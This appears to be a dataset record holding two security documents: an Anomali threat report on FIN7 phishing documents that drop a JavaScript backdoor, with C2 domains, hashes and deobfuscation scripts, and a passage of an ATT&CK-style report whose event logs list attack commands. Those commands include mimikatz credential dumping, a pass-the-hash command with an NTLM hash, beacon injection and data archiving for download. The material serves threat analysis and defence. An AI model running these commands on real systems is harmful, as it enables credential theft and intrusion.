text
stringlengths
8
115k
# Cybercrime Group FIN7 Using Windows 11 Alpha-Themed Docs to Drop Javascript Backdoor **Authored by:** Gage Mele, Tara Gould, Rory Gould, and Sean Townsend ## Key Findings - Anomali Threat Research discovered six malicious Windows 11 Alpha-themed Word documents with Visual Basic macros being used to drop JavaScript payloads, including a JavaScript backdoor. - While we cannot conclusively identify the attack vector for this activity, our analysis strongly suggests the attack vector was an email phishing or spearphishing campaign. - We assess with moderate confidence that the financially motivated threat group FIN7 is responsible for this campaign. - Based on the file names observed in this campaign, the activity likely took place around late June to late July 2021. ## Overview Anomali Threat Research conducted analysis on malicious Microsoft Word document (.doc) files themed after Windows 11 Alpha and assess with moderate confidence that these Word documents were part of a campaign conducted by the threat group FIN7. The group’s goal appears to have been to deliver a variation of a JavaScript backdoor used by FIN7 since at least 2018. ## FIN7 FIN7 is an Eastern European threat group that has been active since at least mid-2015. They primarily target United States (US)-based companies across various industries but also operate on a global scale. The group is one of the world’s most notorious cybercrime groups and has been credited with the theft of over 15 million payment card records that cost organizations around the world approximately one billion dollars (USD) in losses. In the US alone, the group has targeted over 100 companies and compromised the networks of organizations in 47 states and the District of Columbia. While FIN7’s primary objective is to directly steal financial information, such as credit and debit card data, they will also steal sensitive information to sell on underground marketplaces. There has been a concerted attempt by law enforcement to tackle the group, including the arrest of three members in August 2018 and a high-level organizer in April 2021. Despite these personnel losses and media attention, the group has continued a steady stream of documented activity since at least 2015. In early 2021, FIN7 was identified as gaining illicit access to a law firm’s network by using a fake legal complaint themed around Brown-Forman Inc., the parent company of Jack Daniels whiskey. ## Related Groups FIN7 is closely associated with the threat group referred to as “Carbanak,” with the two groups sharing a significant number of TTPs including the use of the Carbanak backdoor. As such, news media and some intelligence vendors use the names interchangeably. To add to the confusion, different vendors will use their own naming conventions for each group that include: - FIN7 - Carbon Spider (Crowdstrike), Gold Niagara (Secureworks), Calcium (Symantec) - Carbanak - Carbon Spider (Crowdstrike), Anunak (Group-IB) Trend Micro released a report in April 2021 outlining the differences in TTPs between the two groups and MITRE also tracks the two groups separately. For clarity, we will treat FIN7 and Carbanak as separate groups; the main distinction being FIN7 focuses on hospitality and retail sectors, while Carbanak targets banking institutions. ## Technical Analysis ### Word Document **MD5:** d60b6a8310373c9b84e6760c24185535 **File name:** Users-Progress-072021-1.doc The infection chain began with a Microsoft Word document (.doc) containing a decoy image claiming to have been made with Windows 11 Alpha. The image asks the user to Enable Editing and Enable Content to begin the next stage of activity. Analyzing the file, we can see a VBA macro populated with junk data as comments. Once the content/editing has been enabled, the macro is executed. Junk data is a common tactic used by threat actors to impede analysis. Once we remove this junk data, we are left with a VBA macro. The VBScript will take encoded values from a hidden table inside the .doc file. The values are deciphered with a function. The values from the table are deobfuscated using an XOR cipher. In this sample, the key is “uPHdq3MxjOCfnXB.” After deobfuscating the VBA macro, we can see what is occurring in the code. Shown in Table 1 are the language checks carried out. | Code | Language | |------|----------| | 1049 | Russian | | 1058 | Ukrainian | | 2073 | Russian-Moldova | | 1070 | Sorbian | | 1051 | Slovak | | 1060 | Slovenian | | 1061 | Estonian | | 3098 | Serbian | | 2074 | Serbian (Latin) | If these languages are detected, the function `me2XKr` is called which deletes the table and stops running. The script checks for Virtual Machines, and if detected it stops running. The script checks for the domain CLEARMIND, which appears to refer to the domain of a Point-of-Sale (POS) service provider. The checks include: - Domain name, specifically CLEARMIND - Language, if any of the languages listed in Table 1 - Reg Key Language Preference for Russian - Virtual machine - VMWare, VirtualBox, innotek, QEMU, Oracle, Hyper and Parallels, if a VM is detected the script is killed - Memory Available, if there is less than 4GB then don’t proceed - Check for RootDSE via LDAP If the checks are satisfactory, the script proceeds to the function where a JavaScript file called `word_data.js` is dropped to the TEMP folder. However, if the language and VM checks are detected, the table deletes itself and does not proceed to the JavaScript payload. This JavaScript file is also full of junk data. Once again, we removed the junk data to analyze the JavaScript, which we can see contains obfuscated strings. The JavaScript file also contains a deobfuscation function. Analyzing the XOR cipher function, ‘ben9qtdx4t’ is the key used to decrypt the strings in the JavaScript file (`word_data.js`). The obfuscation is carried out using a substitution cipher. | Key | A | B | C | D | E | F | G | H | I | J | K | |-----|---|---|---|---|---|---|---|---|---|---|---| | Code| 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | , | After replacing the obfuscated values with the deobfuscated strings, the JavaScript backdoor appears to have similar functionality with other backdoors reportedly used by FIN7. A connection is first made to ‘tnskvggujjqfcskwk.com,’ and based on the response, a connection is then made to ‘bypassociation.com.’ This address is created by picking values from each array at random. After connecting to the bypassociation.com address, the script checks for an active IP to retrieve the MAC address and DNSHostName, which are then submitted via a POST request to the bypassociation address. Based on the response, further JavaScript is executed. ## Attribution - Targeting of a POS provider aligns with previous FIN7 activity. - The use of decoy doc files with VBA macros also aligns with previous FIN7 activity. - FIN7 has used JavaScript backdoors historically. - Infection stops after detecting Russian, Ukrainian, or several other Eastern European languages. - Password protected document. - Tool mark from JavaScript file. - "group=doc700&rt=0&secret=7Gjuyf39Tut383w&time=120000&uid=" follows similar pattern to previous FIN7 campaigns. The specified targeting of the Clearmind domain fits well with FIN7’s preferred modus operandi. As a California-based provider of POS technology for the retail and hospitality sector, a successful infection would allow the group to obtain payment card data and later sell the information on online marketplaces. The US Department of Justice calculates that as of 2018 FIN7 was responsible for stealing over 15 million card records from 6,500 POS terminals. The use of a JavaScript backdoor is also primarily associated with FIN7 and is a common feature within its campaigns. It is worth noting that Carbanak has also been known to use JavaScript payloads but, as this targets retail and health POS systems, it aligns with FIN7 activity. While not providing solid attribution, the language check function and table it scores against indicate a likely geographic location for the creator of this malicious doc file. It is accepted as an almost unofficial policy that cybercriminals based in the Commonwealth of Independent States (CIS) are generally left alone, provided they do not target interests or individuals within their respective borders, hence the VBA macro checking the target system language against a list including common CIS languages which will terminate the infection if found to match. The addition of Sorbian, a minority German Slavic language, Estonian, Slovenian, and Slovak are unusual additions as these would not be languages considered for exclusion but would be considered ‘fair game.’ It is worth noting that REvil ransomware also includes these languages in their exclusion tables, a group that is believed to work with FIN7. ## Conclusion FIN7 is one of the most notorious financially motivated groups due to the large amounts of sensitive data they have stolen through numerous techniques and attack surfaces. Things have been turbulent for the threat group over the past few years as with success and notoriety comes the ever-watchful eye of the authorities. Despite high-profile arrests and sentencing, including alleged higher-ranking members, the group continues to be as active as ever. US prosecutors believe the group numbers around 70 individuals, meaning the group can likely accommodate these losses as other individuals will step in. Targeting infrastructure appears to be a more successful method of stopping or delaying these actors. ## IOCs **Filename** | **Hash** --- | --- Clients-Current_state-062021-0.doc | dc7c07bac0ce9d431f51e2620da93398 Clients-Progress-072021-7.doc | d17f58c6c9771e03342cdd33eb32e084 Clients-State-072021-4.doc | ad4a6a0ddeacdf0fc74c3b45b57a1316 Customers-State-072021-3.doc | de14cf1e58d288187680f5938e2250df Users-Progress-072021-1.doc | d60b6a8310373c9b84e6760c24185535 Users-Progress-072021-1.lnk | 72149bbd364326618df00dc6b0e0b4c4 word_data.bin/word_data.js | 0d12e8754adacc645a981426e69b91ec word_data.bin/word_data.js | 8f5302dafa90958117cbee992a0e09a9 word_data.bin/word_data.js | f4c77f40e325a420be4660370a97158c word_data.bin/word_data.js | ce80bf89bbc800547039844d400ab27c word_data.bin/word_data.js | 41c48b16a01f0322b4e851aa4e1c4e0e **IP Address** 85.14.253.178 **Domains** tnskvggujjqfcskwk.com bypassociation.com ## MITRE ATT&CK | Technique | ID | Name | |-----------|----|------| | Execution | T1059.005 | Command and Scripting Interpreter: Visual Basic | | Execution | T1059.007 | Command and Scripting Interpreter: Javascript | | Execution | T1204.002 | User Execution: Malicious File | | Execution | T1047 | Windows Management Instrument | | Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | | Defense Evasion | T1027 | Obfuscated Files or Information | | Defense Evasion | T1497 | Virtualization/Sandbox Evasion | | Defense Evasion | T1497.001 | Virtualization/Sandbox: System Checks | | Discovery | T1087.002 | Account Discovery: Domain Account | ## Appendix **Script for deobfuscating VBA:** ```python def fin_decode(list, keyS): keyOrd = [ord(l) for l in keyS] final_list = [] count = 0 for num in list: key_2 = keyOrd[count % len(keyS)] count += 1 final_list.append(str(num - key_2)) finalList = ' '.join(final_list) for n in range(0, len(final_list)): final_list[n] = int(final_list[n]) let = chr(final_list[n]) print(let, end='') ``` **Script for deobfuscating the Javascript files:** ```python def xor(data, key): dict = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4, 'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9, 'K': ","} length = len(key) dictD = [dict[d] for d in data] values = "".join(str(x) for x in dictD) values = values.strip(',') values = values.split(',') d = [int(k) for k in values] key_ord = [ord(m) for m in key] decode = "" count = 0 for i in d: decode += chr(i ^ key_ord[count % length]) count += 1 print(decode) ```
# Tactics, Techniques, and Procedures ## Command-Line Interface Command-line interfaces provide a way of interacting with computer systems and are a common feature across many types of operating system platforms. One example command-line interface on Windows systems is `cmd`, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g., Scheduled Task). Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 18:13| JOSHDEV | 356 | run: netstat -na | findstr "EST" | | 12/08 18:17| ubuntu | | run: ls -alh | | 12/08 18:17| ubuntu | | run: ls -alh /tmp | | 12/08 18:17| ubuntu | | run: tar zcvf /tmp/e.tgz /repository | | 12/08 18:17| ubuntu | | run: rm /tmp/e.tgz | | 12/08 18:17| ubuntu | | run: ls -alh /tmp | ### Mitigation Audit and/or block command-line interpreters by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. ### Detection Methods Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight into adversaries' actions through how they use native processes or custom tools. --- ## Credential Dumping Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform lateral movement and access restricted information. Tools may dump credentials in many different ways: extracting credential hashes for offline cracking, extracting plaintext passwords, and extracting Kerberos tickets, among others. Examples of credential dumpers include pwdump7, Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries. Plaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped. DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. The action works by simulating a domain controller replication process from a remote domain controller, which may contain various pieces of information included in Active Directory such as passwords, historical hashes, and current hashes of potentially useful accounts, such as the KRBTGT account NTLM hash. Any members of the Administrators, Domain Admins, Enterprise Admin groups, or computer accounts on the domain controller are able to run DCSync to pull password data. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket. DCSync functionality has been included in the "lsadump" module in Mimikatz. ### Related Events | Date | Host | PID | Activity | |------------|--------------|------|--------------------------------------------| | 12/08 17:57| WS2 | 1872 | dump hashes | | 12/08 17:57| WS2 | 1872 | run mimikatz's sekurlsa::logonpasswords | | 12/08 18:05| FILESERVER | 1664 | dump hashes | | 12/08 18:05| FILESERVER | 1664 | run mimikatz's sekurlsa::logonpasswords | | 12/08 18:07| DC | 1204 | dump hashes | | 12/08 18:07| DC | 1204 | run mimikatz's sekurlsa::logonpasswords | ### Mitigation Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. Identify and block potentially malicious software that may be used to dump credentials by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. It also does not protect against all forms of credential dumping. ### Detection Methods Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective DLL Injection to reduce potential indicators of malicious activity. NTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in use by adversaries may help as well. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, which may require additional logging features to be configured in the operating system to collect necessary information for analysis. --- ## DLL Injection DLL injection is used to run code in the context of another process by causing the other process to load and execute code. Running code in the context of another process provides adversaries many benefits, such as access to the process's memory and permissions. It also allows adversaries to mask their actions under a legitimate process. A more sophisticated kind of DLL injection, reflective DLL injection, loads code without calling the normal Windows API calls, potentially bypassing DLL load monitoring. Numerous methods of DLL injection exist on Windows, including modifying the Registry, creating remote threads, Windows hooking APIs, and DLL pre-loading. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 17:54| WS2 | 3400 | log keystrokes in 2444 (x86) | | 12/08 17:57| WS2 | 1872 | dump hashes | | 12/08 17:57| WS2 | 1872 | run mimikatz's sekurlsa::logonpasswords | | 12/08 18:05| FILESERVER| 1664 | dump hashes | | 12/08 18:05| FILESERVER| 1664 | run mimikatz's sekurlsa::logonpasswords | | 12/08 18:07| DC | 1204 | dump hashes | | 12/08 18:07| DC | 1204 | run mimikatz's sekurlsa::logonpasswords | | 12/08 18:10| JOSHDEV | 356 | log keystrokes in 1220 (x86) | | 12/08 18:10| JOSHDEV | 356 | take a screenshot in 1220/x86 | | 12/08 18:14| JOSHDEV | 356 | inject windows/beacon_smb/bind_pipe (127.0.0.1:9756) into 1220 (x86) | ### Mitigation Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. Identify or block potentially malicious software that may contain DLL injection functionality by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. ### Detection Methods Monitoring API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, so additional PowerShell monitoring may be required to cover known implementations of this behavior. --- ## Data from Local System Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to exfiltration. Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a command-line interface, such as `cmd`, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 18:17| ubuntu | | download /tmp/e.tgz | ### Mitigation Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. ### Detection Methods Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. --- ## Exploitation of Vulnerability Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 17:57| WS2 | 3400 | run windows/beacon_smb/bind_pipe (127.0.0.1:9756) via ms14-058 | ### Mitigation Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, virtualization, and exploit prevention tools such as the Microsoft Enhanced Mitigation Experience Toolkit. ### Detection Methods Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Software and operating system crash reports may contain useful contextual information about attempted exploits that correlate with other malicious activity. Exploited processes may exhibit behavior that is unusual for the specific process, such as spawning additional processes or reading and writing to files. --- ## Input Capture Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information collection that include keylogging and user input field interception. Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. Keylogging is likely to be used to acquire credentials for new access opportunities when credential dumping efforts are not effective and may require an adversary to remain passive on a system for a period of time before an opportunity arises. Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 17:54| WS2 | 3400 | log keystrokes in 2444 (x86) | | 12/08 18:10| JOSHDEV | 356 | log keystrokes in 1220 (x86) | ### Mitigation Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. In cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of Valid Accounts. ### Detection Methods Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. Monitor the Registry for the addition of a Custom Credential Provider. Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used. --- ## Network Service Scanning Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 18:00| WS2 | 3400 | scan ports 1-1024,3389,5000-6000 on 10.10.10.0-10.10.10.255 | ### Mitigation Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices. Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. ### Detection Methods System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans. --- ## Network Share Discovery Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. ### Windows File sharing over a Windows network occurs over the SMB protocol. `Net` can be used to query a remote system for available shared drives using the `net view \\remotesystem` command. It can also be used to query shared drives on the local system using `net share`. Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for collection and to identify potential systems of interest for lateral movement. ### Mac On Mac, locally mounted shares can be viewed with the `df -aH` command. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 18:04| WS2 | 3400 | run net share on fileserver.corp.acme.com | ### Mitigation Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. ### Detection Methods System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. --- ## New Service When operating systems boot up, they can start programs or applications called services that perform background system functions. A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 18:02| WS2 | 3400 | run windows/beacon_smb/bind_pipe (\\fileserver.corp.acme.com\pipe\status_9756) on fileserver.corp.acme.com via Service Control Manager (PSH) | | 12/08 18:06| WS2 | 1872 | run windows/beacon_smb/bind_pipe (\\DC\pipe\status_9756) on DC via Service Control Manager (PSH) | | 12/08 18:08| WS2 | 1872 | run windows/beacon_smb/bind_pipe (\\MAIL\pipe\status_9756) on MAIL via Service Control Manager (\\MAIL\ADMIN$\c0b6e50.exe) | ### Mitigation Limit privileges of user accounts and remediate privilege escalation vectors so only authorized administrators can create new services. Identify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. ### Detection Methods Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for command and control, learning details about the environment through discovery, and lateral movement. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. --- ## Pass the Hash Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a credential access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 18:06| WS2 | 1872 | run mimikatz's sekurlsa::pth / user:Administrator /domain:CORP / ntlm:83414a69a47afeec7e3a37d05a81dc3b / run:"cmd.exe /c echo 70f32449cc8 > \\.\pipe\d8e195" command | ### Mitigation Monitor systems and domain logs for unusual credential logon activity. Prevent access to valid accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform lateral movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems. ### Detection Methods Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated with a domain login and are not anonymous logins are suspicious. --- ## PowerShell PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk. Administrator permissions are required to use PowerShell to connect to remote systems. A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, and PSAttack. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 17:55| WS2 | 3400 | import: C:\Users\user\Desktop\PowerSploit-master\Privesc\PowerUp.ps1 | | 12/08 17:56| WS2 | 3400 | run: Invoke-AllChecks | | 12/08 18:00| WS2 | 3400 | import: C:\Users\user\Desktop\PowerSploit-master\Recon\PowerView.ps1 | | 12/08 18:00| WS2 | 3400 | run: Find-LocalAdminAccess | | 12/08 18:09| WS2 | 1872 | run windows/beacon_smb/bind_pipe (\\JOSHDEV\pipe\status_9756) on JOSHDEV via WMI | ### Mitigation It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution. ### Detection Methods If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data. --- ## Process Discovery Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. ### Windows An example command that would obtain details on processes is `tasklist` using the Tasklist utility. ### Mac and Linux In Mac and Linux, this is accomplished with the `ps` command. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 17:53| WS2 | 3400 | list processes | | 12/08 18:05| FILESERVER| 1664 | list processes | | 12/08 18:09| JOSHDEV | 356 | list processes | | 12/08 18:13| JOSHDEV | 356 | list processes | ### Mitigation Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. ### Detection Methods System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. --- ## Process Hollowing Process hollowing occurs when a process is created in a suspended state and the process's memory is replaced with the code of a second program so that the second program runs instead of the original program. Windows and process monitoring tools believe the original process is running, whereas the actual program running is different. Process hollowing may be used similarly to DLL Injection to evade defenses and detection analysis of malicious process execution by launching adversary-controlled code under the context of a legitimate process. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 17:53| WS2 | 3400 | take screenshot | | 12/08 17:57| WS2 | 3400 | run windows/beacon_smb/bind_pipe (127.0.0.1:9756) via ms14-058 | | 12/08 17:57| WS2 | 1872 | dump hashes | | 12/08 17:57| WS2 | 1872 | run mimikatz's sekurlsa::logonpasswords | | 12/08 18:00| WS2 | 3400 | run net computers | | 12/08 18:00| WS2 | 3400 | scan ports 1-1024,3389,5000-6000 on 10.10.10.0-10.10.10.255 | | 12/08 18:04| WS2 | 3400 | run net share on fileserver.corp.acme.com | | 12/08 18:05| FILESERVER| 1664 | dump hashes | | 12/08 18:05| FILESERVER| 1664 | run mimikatz's sekurlsa::logonpasswords | | 12/08 18:05| WS2 | 3400 | run net dclist | | 12/08 18:06| WS2 | 1872 | run mimikatz's sekurlsa::pth / user:Administrator /domain:CORP / ntlm:83414a69a47afeec7e3a37d05a81dc3b / run:"cmd.exe /c echo 70f32449cc8 > \\.\pipe\d8e195" command | | 12/08 18:07| DC | 1204 | dump hashes | | 12/08 18:07| DC | 1204 | run mimikatz's sekurlsa::logonpasswords | | 12/08 18:16| JOSHDEV | 1220 | spawn x86 features to: c:\program files\putty\putty.exe | | 12/08 18:16| JOSHDEV | 1220 | SSH to 192.168.57.18:22 as devops | ### Mitigation Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions, including process hollowing, and audit and/or block it by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. ### Detection Methods Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. --- ## Remote Services An adversary may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 18:16| JOSHDEV | 1220 | SSH to 192.168.57.18:22 as devops | ### Mitigation Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions 